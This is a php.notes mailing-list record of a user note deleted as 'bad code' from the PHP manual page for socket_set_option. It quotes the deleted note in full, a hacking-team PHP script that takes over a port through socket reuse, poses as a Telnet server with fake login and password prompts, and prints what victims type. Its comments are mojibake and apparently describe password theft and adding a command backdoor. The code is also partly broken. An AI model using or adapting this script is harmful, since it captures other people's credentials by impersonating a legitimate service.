note 49291 deleted from function.socket-set-option by cece
| From: | cece@php.net | Date: | Sun, 23 Jan 2005 11:21:29 +0000 |
| Subject: | note 49291 deleted from function.socket-set-option by cece | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-83811@lists.php.net to get a copy of this message | ||
Note Submitter: darkne2s at gmail dot com
Reason: bad code
----
#!/usr/bin/php -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
<?php
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
} /*½¨Á¢SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1);
/*ÉèÖÃSOCKETÁ¬½ÓµÄÊôÐÔΪSO_REUSEADDR,ÕâÑù²Å¿ÉÒԶ˿ڸ´ÓÃ*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}/*°ó¶¨¶Ë¿Ú*/
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
} /*¿ªÊ¼¼àÌý*/
while(true) {
if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) .
"\n";
break;
}
if ($port == 21)
{
$txt = "Welcome to the Telnet Server\r\n";
$txt .="User:\r\n";
socket_write($sniffer, $txt, strlen($txt));
}
/*ÕâÀïÊÇαװÐÅÏ¢£¬°Ñ×Ô¼ºÎ±×°³ÉÔÀ´µÄTELNET·þÎñÆ÷£¬ÕâÑùÀ´ÆÈ¡ÃÜÂë*/
while(true) {
if(($flag =@socket_recv($sniffer,$buf, 2048, 0)) < 0)
{
break;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf != '') {
$password = "Please Input The Password";
socket_write($sniffer, $password, strlen($password));
}
if ($buf == '!shutdown') {
socket_close($sniffer);
break 2;
/*ÆäʵÕâÀï¿ÉÒÔµ÷ÓÃsystem()£¬¸ã³ÉÒ»¸öCMDºóÃÅ£¬·´ÕýÄãÏëÔõô¸Ä¶¼¿ÉÒÔ*/
}
$sniff_data = "$buf\r\n";
/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*Êä³ö×Ö·û´®*/
}
socket_close($sniffer);
}
socket_close($sock);
?>